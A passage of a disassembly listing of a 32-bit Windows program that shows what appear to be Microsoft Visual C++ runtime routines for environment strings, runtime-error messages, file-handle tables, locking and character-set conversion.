CODE XREF: sub_42B37F+139j inc dword ptr [ecx] dec ebx jnz short loc_42B4B6 loc_42B4C3: ; CODE XREF: sub_42B37F+134j mov dl, [eax] test dl, dl jz short loc_42B513 cmp [ebp+arg_10], 0 jnz short loc_42B4D9 cmp dl, 20h jz short loc_42B513 cmp dl, 9 jz short loc_42B513 loc_42B4D9: ; CODE XREF: sub_42B37F+14Ej cmp [ebp+arg_0], 0 jz short loc_42B50D test esi, esi jz short loc_42B4FC movzx ebx, dl test byte_631881[ebx], 4 jz short loc_42B4F5 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_42B4F5: ; CODE XREF: sub_42B37F+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_42B50B ; --------------------------------------------------------------------------- loc_42B4FC: ; CODE XREF: sub_42B37F+162j movzx edx, dl test byte_631881[edx], 4 jz short loc_42B50B inc eax inc dword ptr [ecx] loc_42B50B: ; CODE XREF: sub_42B37F+17Bj ; sub_42B37F+187j inc dword ptr [ecx] loc_42B50D: ; CODE XREF: sub_42B37F+15Ej inc eax jmp loc_42B46B ; --------------------------------------------------------------------------- loc_42B513: ; CODE XREF: sub_42B37F+148j ; sub_42B37F+153j ... test esi, esi jz short loc_42B51B and byte ptr [esi], 0 inc esi loc_42B51B: ; CODE XREF: sub_42B37F+196j inc dword ptr [ecx] jmp loc_42B439 ; --------------------------------------------------------------------------- loc_42B522: ; CODE XREF: sub_42B37F+BDj ; sub_42B37F+D5j test edi, edi jz short loc_42B529 and dword ptr [edi], 0 loc_42B529: ; CODE XREF: sub_42B37F+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42B37F endp ; =============== S U B R O U T I N E ======================================= sub_42B533 proc near ; CODE XREF: .text:00424F54p ; sub_42CCB3+8Cp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_6315F0 push ebx push ebp mov ebp, dword_42F180 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42B581 call ebp ; dword_42F180 mov esi, eax cmp esi, ebx jz short loc_42B562 mov dword_6315F0, 1 jmp short loc_42B58A ; --------------------------------------------------------------------------- loc_42B562: ; CODE XREF: sub_42B533+21j call dword_42F184 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_42B65C mov dword_6315F0, 2 jmp loc_42B610 ; --------------------------------------------------------------------------- loc_42B581: ; CODE XREF: sub_42B533+19j cmp eax, 1 jnz loc_42B60B loc_42B58A: ; CODE XREF: sub_42B533+2Dj cmp esi, ebx jnz short loc_42B59A call ebp ; dword_42F180 mov esi, eax cmp esi, ebx jz loc_42B65C loc_42B59A: ; CODE XREF: sub_42B533+59j cmp [esi], bx mov eax, esi jz short loc_42B5AF loc_42B5A1: ; CODE XREF: sub_42B533+73j ; sub_42B533+7Aj inc eax inc eax cmp [eax], bx jnz short loc_42B5A1 inc eax inc eax cmp [eax], bx jnz short loc_42B5A1 loc_42B5AF: ; CODE XREF: sub_42B533+6Cj sub eax, esi mov edi, dword_42F0A4 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; dword_42F0A4 mov ebp, eax cmp ebp, ebx jz short loc_42B600 push ebp call sub_422F79 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_42B600 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; dword_42F0A4 test eax, eax jnz short loc_42B5FC push [esp+18h+var_8] call sub_4230B3 pop ecx mov [esp+18h+var_8], ebx loc_42B5FC: ; CODE XREF: sub_42B533+B9j mov ebx, [esp+18h+var_8] loc_42B600: ; CODE XREF: sub_42B533+99j ; sub_42B533+A8j push esi call dword_42F188 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_42B65E ; --------------------------------------------------------------------------- loc_42B60B: ; CODE XREF: sub_42B533+51j cmp eax, 2 jnz short loc_42B65C loc_42B610: ; CODE XREF: sub_42B533+49j cmp edi, ebx jnz short loc_42B620 call dword_42F184 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_42B65C loc_42B620: ; CODE XREF: sub_42B533+DFj cmp [edi], bl mov eax, edi jz short loc_42B630 loc_42B626: ; CODE XREF: sub_42B533+F6j ; sub_42B533+FBj inc eax cmp [eax], bl jnz short loc_42B626 inc eax cmp [eax], bl jnz short loc_42B626 loc_42B630: ; CODE XREF: sub_42B533+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_422F79 mov esi, eax pop ecx cmp esi, ebx jnz short loc_42B646 xor esi, esi jmp short loc_42B651 ; --------------------------------------------------------------------------- loc_42B646: ; CODE XREF: sub_42B533+10Dj push ebp push edi push esi call sub_4223F0 add esp, 0Ch loc_42B651: ; CODE XREF: sub_42B533+111j push edi call dword_42F18C ; FreeEnvironmentStringsA mov eax, esi jmp short loc_42B65E ; --------------------------------------------------------------------------- loc_42B65C: ; CODE XREF: sub_42B533+39j ; sub_42B533+61j ... xor eax, eax loc_42B65E: ; CODE XREF: sub_42B533+D6j ; sub_42B533+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_42B533 endp ; =============== S U B R O U T I N E ======================================= sub_42B665 proc near ; CODE XREF: sub_424FCB+9p ; sub_424FF0+9p mov eax, dword_6313F4 cmp eax, 1 jz short loc_42B67C test eax, eax jnz short locret_42B69D cmp dword_4496B4, 1 jnz short locret_42B69D loc_42B67C: ; CODE XREF: sub_42B665+8j push 0FCh call sub_42B69E mov eax, dword_6315F4 pop ecx test eax, eax jz short loc_42B692 call eax ; dword_6315F4 loc_42B692: ; CODE XREF: sub_42B665+29j push 0FFh call sub_42B69E pop ecx locret_42B69D: ; CODE XREF: sub_42B665+Cj ; sub_42B665+15j retn sub_42B665 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B69E proc near ; CODE XREF: sub_424FCB+12p ; sub_424FF0+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_44BF38 loc_42B6B1: ; CODE XREF: sub_42B69E+20j cmp edx, [eax] jz short loc_42B6C0 add eax, 8 inc ecx cmp eax, offset dword_44BFC8 jl short loc_42B6B1 loc_42B6C0: ; CODE XREF: sub_42B69E+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_44BF38[esi] jnz loc_42B7EE mov eax, dword_6313F4 cmp eax, 1 jz loc_42B7C8 test eax, eax jnz short loc_42B6F1 cmp dword_4496B4, 1 jz loc_42B7C8 loc_42B6F1: ; CODE XREF: sub_42B69E+44j cmp edx, 0FCh jz loc_42B7EE lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_42F154 ; GetModuleFileNameA test eax, eax jnz short loc_42B728 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_423260 pop ecx pop ecx loc_42B728: ; CODE XREF: sub_42B69E+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_422120 inc eax pop ecx cmp eax, 3Ch jbe short loc_42B76B lea eax, [ebp+var_1A4] push eax call sub_422120 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_4222F0 add esp, 10h loc_42B76B: ; CODE XREF: sub_42B69E+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_423260 lea eax, [ebp+var_A0] push edi push eax call sub_423270 lea eax, [ebp+var_A0] push offset asc_42F9A4 ; "\n\n" push eax call sub_423270 push off_44BF3C[esi] lea eax, [ebp+var_A0] push eax call sub_423270 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_42D64E add esp, 2Ch pop edi jmp short loc_42B7EE ; --------------------------------------------------------------------------- loc_42B7C8: ; CODE XREF: sub_42B69E+3Cj ; sub_42B69E+4Dj lea eax, [ebp+arg_0] lea esi, off_44BF3C[esi] push 0 push eax push dword ptr [esi] call sub_422120 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_42F1D4 ; GetStdHandle push eax call dword_42F07C ; WriteFile loc_42B7EE: ; CODE XREF: sub_42B69E+2Ej ; sub_42B69E+59j ... pop esi leave retn sub_42B69E endp ; =============== S U B R O U T I N E ======================================= sub_42B7F1 proc near ; CODE XREF: sub_425014+6Cp ; sub_426826+32p ... arg_0 = dword ptr 4 inc dword_6313E8 push 1000h call sub_422F79 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_42B81A or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_42B82B ; --------------------------------------------------------------------------- loc_42B81A: ; CODE XREF: sub_42B7F1+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_42B82B: ; CODE XREF: sub_42B7F1+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_42B7F1 endp ; =============== S U B R O U T I N E ======================================= sub_42B835 proc near ; CODE XREF: sub_425014+61p ; sub_42A86B+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_631AE0 jb short loc_42B844 xor eax, eax retn ; --------------------------------------------------------------------------- loc_42B844: ; CODE XREF: sub_42B835+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 lea eax, [eax+eax*8] mov ecx, dword_6319E0[ecx*4] mov al, [ecx+eax*4+4] and eax, 40h retn sub_42B835 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B85E proc near ; CODE XREF: sub_42512C+2D4p ; sub_42512C+6B3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, offset dword_63198C push edi push esi call dword_42F200 ; InterlockedIncrement mov edi, dword_42F1FC xor ebx, ebx cmp dword_631988, ebx jz short loc_42B88E push esi call edi ; dword_42F1FC push 13h call sub_428436 pop ecx push 1 pop ebx loc_42B88E: ; CODE XREF: sub_42B85E+20j push [ebp+arg_4] push [ebp+arg_0] call sub_42B8B7 pop ecx mov [ebp+arg_4], eax test ebx, ebx pop ecx jz short loc_42B8AC push 13h call sub_428497 pop ecx jmp short loc_42B8AF ; --------------------------------------------------------------------------- loc_42B8AC: ; CODE XREF: sub_42B85E+42j push esi call edi ; dword_42F1FC loc_42B8AF: ; CODE XREF: sub_42B85E+4Cj mov eax, [ebp+arg_4] pop edi pop esi pop ebx pop ebp retn sub_42B85E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B8B7 proc near ; CODE XREF: sub_42B85E+36p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_42B8C3 pop ebp retn ; --------------------------------------------------------------------------- loc_42B8C3: ; CODE XREF: sub_42B8B7+8j cmp dword_6314C8, 0 jnz short loc_42B8DE mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_42B910 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42B8DE: ; CODE XREF: sub_42B8B7+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_449A44 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_6314D8 call dword_42F0A4 ; WideCharToMultiByte test eax, eax jz short loc_42B910 cmp [ebp+arg_0], 0 jz short loc_42B91E loc_42B910: ; CODE XREF: sub_42B8B7+1Ej ; sub_42B8B7+51j call sub_426528 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh loc_42B91E: ; CODE XREF: sub_42B8B7+57j pop ebp retn sub_42B8B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B920 proc near ; CODE XREF: sub_425A04+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, offset dword_63198C push edi push esi call dword_42F200 ; InterlockedIncrement mov edi, dword_42F1FC xor ebx, ebx cmp dword_631988, ebx jz short loc_42B950 push esi call edi ; dword_42F1FC push 13h call sub_428436 pop ecx push 1 pop ebx loc_42B950: ; CODE XREF: sub_42B920+20j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_42B97D add esp, 0Ch mov [ebp+arg_8], eax test ebx, ebx jz short loc_42B972 push 13h call sub_428497 pop ecx jmp short loc_42B975 ; --------------------------------------------------------------------------- loc_42B972: ; CODE XREF: sub_42B920+46j push esi call edi ; dword_42F1FC loc_42B975: ; CODE XREF: sub_42B920+50j mov eax, [ebp+arg_8] pop edi pop esi pop ebx pop ebp retn sub_42B920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B97D proc near ; CODE XREF: sub_42B920+39p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_42B9A0 cmp [ebp+arg_8], ebx jz short loc_42B9A0 mov al, [esi] cmp al, bl jnz short loc_42B9A6 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_42B9A0 mov [eax], bx loc_42B9A0: ; CODE XREF: sub_42B97D+Cj ; sub_42B97D+11j ... xor eax, eax loc_42B9A2: ; CODE XREF: sub_42B97D+42j ; sub_42B97D+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_42B9A6: ; CODE XREF: sub_42B97D+17j cmp dword_6314C8, ebx jnz short loc_42B9C1 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_42B9BC movzx ax, al mov [ecx], ax loc_42B9BC: ; CODE XREF: sub_42B97D+36j ; sub_42B97D+C1j push 1 pop eax jmp short loc_42B9A2 ; --------------------------------------------------------------------------- loc_42B9C1: ; CODE XREF: sub_42B97D+2Fj mov ecx, off_449838 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_42BA1F mov eax, dword_449A44 cmp eax, 1 jle short loc_42BA05 cmp [ebp+arg_8], eax jl short loc_42BA0F xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_6314D8 call dword_42F098 ; MultiByteToWideChar test eax, eax mov eax, dword_449A44 jnz short loc_42B9A2 loc_42BA05: ; CODE XREF: sub_42B97D+5Cj cmp [ebp+arg_8], eax jb short loc_42BA0F cmp [esi+1], bl jnz short loc_42B9A2 loc_42BA0F: ; CODE XREF: sub_42B97D+61j ; sub_42B97D+8Bj ... call sub_426528 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42B9A2 ; --------------------------------------------------------------------------- loc_42BA1F: ; CODE XREF: sub_42B97D+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_6314D8 call dword_42F098 ; MultiByteToWideChar test eax, eax jnz loc_42B9BC jmp short loc_42BA0F sub_42B97D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42BA50 proc near ; CODE XREF: sub_425A04+797p ; sub_425A04+7E7p cmp cl, 40h jnb short loc_42BA6A cmp cl, 20h jnb short loc_42BA60 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_42BA60: ; CODE XREF: sub_42BA50+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_42BA6A: ; CODE XREF: sub_42BA50+3j xor eax, eax xor edx, edx retn sub_42BA50 endp ; =============== S U B R O U T I N E ======================================= sub_42BA6F proc near ; CODE XREF: sub_42647A+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_42BABB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_42BA8D test al, 80h jz short loc_42BABB test al, 2 jnz short loc_42BABB loc_42BA8D: ; CODE XREF: sub_42BA6F+14j cmp dword ptr [esi+8], 0 jnz short loc_42BA9A push esi call sub_42B7F1 pop ecx loc_42BA9A: ; CODE XREF: sub_42BA6F+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_42BAAA cmp dword ptr [esi+4], 0 jnz short loc_42BABB inc eax mov [esi], eax loc_42BAAA: ; CODE XREF: sub_42BA6F+30j test byte ptr [esi+0Ch], 40h jz short loc_42BAC1 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_42BAC7 inc eax mov [esi], eax loc_42BABB: ; CODE XREF: sub_42BA6F+9j ; sub_42BA6F+18j ... or eax, 0FFFFFFFFh loc_42BABE: ; CODE XREF: sub_42BA6F+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42BAC1: ; CODE XREF: sub_42BA6F+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_42BAC7: ; CODE XREF: sub_42BA6F+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_42BABE sub_42BA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BADD proc near ; CODE XREF: sub_42653A+5Ep ; sub_42ABB1+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F9E0 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_6315F8 xor ebx, ebx cmp eax, ebx jnz short loc_42BB4C lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_42F620 push esi call dword_42F178 ; GetStringTypeW test eax, eax jz short loc_42BB2A mov eax, esi jmp short loc_42BB47 ; --------------------------------------------------------------------------- loc_42BB2A: ; CODE XREF: sub_42BADD+47j lea eax, [ebp+var_1C] push eax push esi push offset word_44D6A0 push esi push ebx call dword_42F17C ; GetStringTypeA test eax, eax jz loc_42BC12 push 2 pop eax loc_42BB47: ; CODE XREF: sub_42BADD+4Bj mov dword_6315F8, eax loc_42BB4C: ; CODE XREF: sub_42BADD+2Fj cmp eax, 2 jnz short loc_42BB75 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_42BB5D mov eax, dword_6314C8 loc_42BB5D: ; CODE XREF: sub_42BADD+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_42F17C ; GetStringTypeA jmp loc_42BC14 ; --------------------------------------------------------------------------- loc_42BB75: ; CODE XREF: sub_42BADD+72j cmp eax, 1 jnz loc_42BC12 cmp [ebp+arg_10], ebx jnz short loc_42BB8B mov eax, dword_6314D8 mov [ebp+arg_10], eax loc_42BB8B: ; CODE XREF: sub_42BADD+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_42F098 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_42BC12 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_4220C0 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_4221F0 add esp, 0Ch jmp short loc_42BBE1 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_42BBE1: ; CODE XREF: sub_42BADD+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_42BC12 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_42F098 ; MultiByteToWideChar cmp eax, ebx jz short loc_42BC12 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_42F178 ; GetStringTypeW jmp short loc_42BC14 ; --------------------------------------------------------------------------- loc_42BC12: ; CODE XREF: sub_42BADD+61j ; sub_42BADD+9Bj ... xor eax, eax loc_42BC14: ; CODE XREF: sub_42BADD+93j ; sub_42BADD+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42BADD endp ; =============== S U B R O U T I N E ======================================= sub_42BC26 proc near ; CODE XREF: sub_42BF9A:loc_42C112p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx push ebx push ebp push esi push edi push 12h or edi, 0FFFFFFFFh call sub_428436 xor ebx, ebx pop ecx mov [esp+18h+var_8], ebx mov [esp+18h+var_4], ebx mov ebp, offset dword_6319E0 loc_42BC46: ; CODE XREF: sub_42BC26+BCj mov esi, [ebp+0] test esi, esi jz loc_42BCEA lea eax, [esi+480h] loc_42BC57: ; CODE XREF: sub_42BC26+8Aj cmp esi, eax jnb short loc_42BCCF test byte ptr [esi+4], 1 jnz short loc_42BCA5 cmp dword ptr [esi+8], 0 jnz short loc_42BC8A push 11h call sub_428436 cmp dword ptr [esi+8], 0 pop ecx jnz short loc_42BC82 lea eax, [esi+0Ch] push eax call dword_42F1CC ; InitializeCriticalSection inc dword ptr [esi+8] loc_42BC82: ; CODE XREF: sub_42BC26+4Dj push 11h call sub_428497 pop ecx loc_42BC8A: ; CODE XREF: sub_42BC26+3Fj lea ebx, [esi+0Ch] push ebx call dword_42F140 ; RtlEnterCriticalSection test byte ptr [esi+4], 1 jz short loc_42BCB2 push ebx call dword_42F144 ; RtlLeaveCriticalSection mov ebx, [esp+18h+var_8] loc_42BCA5: ; CODE XREF: sub_42BC26+39j mov eax, [ebp+0] add esi, 24h add eax, 480h jmp short loc_42BC57 ; --------------------------------------------------------------------------- loc_42BCB2: ; CODE XREF: sub_42BC26+72j or dword ptr [esi], 0FFFFFFFFh mov eax, esi sub eax, [ebp+0] push 24h pop ecx cdq idiv ecx mov edi, eax add edi, [esp+18h+var_4] cmp edi, 0FFFFFFFFh jnz short loc_42BD38 mov ebx, [esp+18h+var_8] loc_42BCCF: ; CODE XREF: sub_42BC26+33j add [esp+18h+var_4], 20h add ebp, 4 inc ebx cmp ebp, offset dword_631AE0 mov [esp+18h+var_8], ebx jl loc_42BC46 jmp short loc_42BD38 ; --------------------------------------------------------------------------- loc_42BCEA: ; CODE XREF: sub_42BC26+25j mov esi, 480h push esi call sub_422F79 test eax, eax pop ecx jz short loc_42BD38 add dword_631AE0, 20h lea ecx, ds:6319E0h[ebx*4] lea edx, [eax+480h] mov [ecx], eax loc_42BD10: ; CODE XREF: sub_42BC26+104j cmp eax, edx jnb short loc_42BD2C and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 24h add edx, esi jmp short loc_42BD10 ; --------------------------------------------------------------------------- loc_42BD2C: ; CODE XREF: sub_42BC26+ECj shl ebx, 5 mov edi, ebx push edi call sub_42BE86 pop ecx loc_42BD38: ; CODE XREF: sub_42BC26+A3j ; sub_42BC26+C2j ... push 12h call sub_428497 pop ecx mov eax, edi pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_42BC26 endp ; =============== S U B R O U T I N E ======================================= sub_42BD49 proc near ; CODE XREF: sub_42BF9A+1FDp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push esi cmp ecx, dword_631AE0 push edi jnb short loc_42BDAC mov eax, ecx sar eax, 5 lea edi, ds:6319E0h[eax*4] mov eax, ecx and eax, 1Fh lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 cmp dword ptr [eax+esi], 0FFFFFFFFh jnz short loc_42BDAC cmp dword_4496B4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_42BDA2 sub ecx, 0 jz short loc_42BD99 dec ecx jz short loc_42BD94 dec ecx jnz short loc_42BDA2 push ebx push 0FFFFFFF4h jmp short loc_42BD9C ; --------------------------------------------------------------------------- loc_42BD94: ; CODE XREF: sub_42BD49+41j push ebx push 0FFFFFFF5h jmp short loc_42BD9C ; --------------------------------------------------------------------------- loc_42BD99: ; CODE XREF: sub_42BD49+3Ej push ebx push 0FFFFFFF6h loc_42BD9C: ; CODE XREF: sub_42BD49+49j ; sub_42BD49+4Ej call dword_42F174 ; SetStdHandle loc_42BDA2: ; CODE XREF: sub_42BD49+39j ; sub_42BD49+44j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_42BDC2 ; --------------------------------------------------------------------------- loc_42BDAC: ; CODE XREF: sub_42BD49+Cj ; sub_42BD49+2Bj call sub_426528 mov dword ptr [eax], 9 call sub_426531 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_42BDC2: ; CODE XREF: sub_42BD49+61j pop edi pop esi retn sub_42BD49 endp ; =============== S U B R O U T I N E ======================================= sub_42BDC5 proc near ; CODE XREF: sub_426641+51p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_631AE0 push edi jnb short loc_42BE2B mov eax, ecx sar eax, 5 lea edi, ds:6319E0h[eax*4] mov eax, ecx and eax, 1Fh lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 add eax, esi test byte ptr [eax+4], 1 jz short loc_42BE2B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42BE2B cmp dword_4496B4, 1 jnz short loc_42BE21 xor eax, eax sub ecx, eax jz short loc_42BE18 dec ecx jz short loc_42BE13 dec ecx jnz short loc_42BE21 push eax push 0FFFFFFF4h jmp short loc_42BE1B ; --------------------------------------------------------------------------- loc_42BE13: ; CODE XREF: sub_42BDC5+44j push eax push 0FFFFFFF5h jmp short loc_42BE1B ; --------------------------------------------------------------------------- loc_42BE18: ; CODE XREF: sub_42BDC5+41j push eax push 0FFFFFFF6h loc_42BE1B: ; CODE XREF: sub_42BDC5+4Cj ; sub_42BDC5+51j call dword_42F174 ; SetStdHandle loc_42BE21: ; CODE XREF: sub_42BDC5+3Bj ; sub_42BDC5+47j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42BE41 ; --------------------------------------------------------------------------- loc_42BE2B: ; CODE XREF: sub_42BDC5+Cj ; sub_42BDC5+2Dj ... call sub_426528 mov dword ptr [eax], 9 call sub_426531 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_42BE41: ; CODE XREF: sub_42BDC5+64j pop edi pop esi retn sub_42BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_42BE44 proc near ; CODE XREF: sub_426641+7p ; sub_426641+1Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_631AE0 jnb short loc_42BE6F mov ecx, eax and eax, 1Fh sar ecx, 5 lea eax, [eax+eax*8] mov ecx, dword_6319E0[ecx*4] test byte ptr [ecx+eax*4+4], 1 lea eax, [ecx+eax*4] jz short loc_42BE6F mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_42BE6F: ; CODE XREF: sub_42BE44+Aj ; sub_42BE44+26j call sub_426528 mov dword ptr [eax], 9 call sub_426531 and dword ptr [eax], 0 or eax, 0FFFFFFFFh retn sub_42BE44 endp ; =============== S U B R O U T I N E ======================================= sub_42BE86 proc near ; CODE XREF: sub_4265E4+2Ap ; sub_426902+2Ap ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx mov ecx, eax and eax, 1Fh sar ecx, 5 push esi push edi mov esi, dword_6319E0[ecx*4] lea ebx, ds:6319E0h[ecx*4] lea edi, [eax+eax*8] shl edi, 2 add esi, edi cmp dword ptr [esi+8], 0 jnz short loc_42BED4 push 11h call sub_428436 cmp dword ptr [esi+8], 0 pop ecx jnz short loc_42BECC lea eax, [esi+0Ch] push eax call dword_42F1CC ; InitializeCriticalSection inc dword ptr [esi+8] loc_42BECC: ; CODE XREF: sub_42BE86+37j push 11h call sub_428497 pop ecx loc_42BED4: ; CODE XREF: sub_42BE86+29j mov eax, [ebx] lea eax, [eax+edi+0Ch] push eax call dword_42F140 ; RtlEnterCriticalSection pop edi pop esi pop ebx retn sub_42BE86 endp ; =============== S U B R O U T I N E ======================================= sub_42BEE5 proc near ; CODE XREF: sub_4265E4+38p ; sub_426902+40p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 lea eax, [eax+eax*8] mov ecx, dword_6319E0[ecx*4] lea eax, [ecx+eax*4+0Ch] push eax call dword_42F144 ; RtlLeaveCriticalSection retn sub_42BEE5 endp ; =============== S U B R O U T I N E ======================================= sub_42BF07 proc near ; CODE XREF: sub_4266EF+1Ep arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_631AE0 push esi push edi jnb short loc_42BF88 mov eax, ebx sar eax, 5 lea edi, ds:6319E0h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 test byte ptr [eax+esi+4], 1 jz short loc_42BF88 push ebx call sub_42BE86 mov eax, [edi] pop ecx test byte ptr [eax+esi+4], 1 jz short loc_42BF6F push ebx call sub_42BE44 pop ecx push eax call dword_42F170 ; 